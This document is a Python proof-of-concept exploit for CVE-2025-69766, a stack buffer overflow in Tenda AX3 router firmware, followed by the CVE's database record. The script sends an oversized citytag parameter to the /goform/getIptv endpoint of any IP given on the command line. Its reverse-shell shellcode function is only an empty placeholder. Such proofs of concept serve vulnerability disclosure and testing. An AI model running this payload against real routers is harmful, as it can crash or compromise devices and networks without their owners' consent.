CVE-2025-69766

#!/usr/bin/env python3 """ CVE-2025-69766 PoC - Tenda AX3 formGetIptv Buffer Overflow This PoC demonstrates the stack-based buffer overflow in formGetIptv function """ import requests import sys TARGET_URL = "http://{target_ip}" # Replace with target IP def exploit_cve_2025_69766(): """ Exploit the buffer overflow in formGetIptv function The vulnerability is caused by improper handling of citytag parameter """ # Create payload with excessive length to overflow the citytag buffer # The exact buffer size may vary, using 500 bytes as demonstration overflow_length = 500 payload = "A" * overflow_length # Target endpoint for formGetIptv endpoint = f"{TARGET_URL}/goform/getIptv" # Prepare the malicious request params = { "citytag": payload } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Payload length: {len(payload)} bytes") # Send the malicious request response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_shellcode_payload(): """ Generate shellcode for remote code execution This is a placeholder - actual shellcode should be tailored for MIPS architecture """ # MIPS shellcode for reverse shell - example structure # In real exploitation, this would be architecture-specific shellcode = b"\x00" * 100 # Placeholder return shellcode if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET_URL = f"http://{sys.argv[1]}" exploit_cve_2025_69766()

{"cve": {"id": "CVE-2025-69766", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:24.253", "lastModified": "2026-01-26T20:38:30.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 firmware v16.03.12.11 contains a stack-based buffer overflow in the formGetIptv function due to improper handling of the citytag stack buffer, which may result in memory corruption and remote code execution."}, {"lang": "es", "value": "El firmware v16.03.12.11 de Tenda AX3 contiene un desbordamiento de búfer basado en pila en la función formGetIptv debido a un manejo inadecuado del búfer de pila citytag, lo que puede resultar en corrupción de memoria y ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:*", "matchCriteriaId": "9FFD11D4-8E44-4156-9D8E-7094E36A2152"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef8043a091e6722b8e255a", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formGetIptv-2c9a595a7aef8043a091e6722b8e255a?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}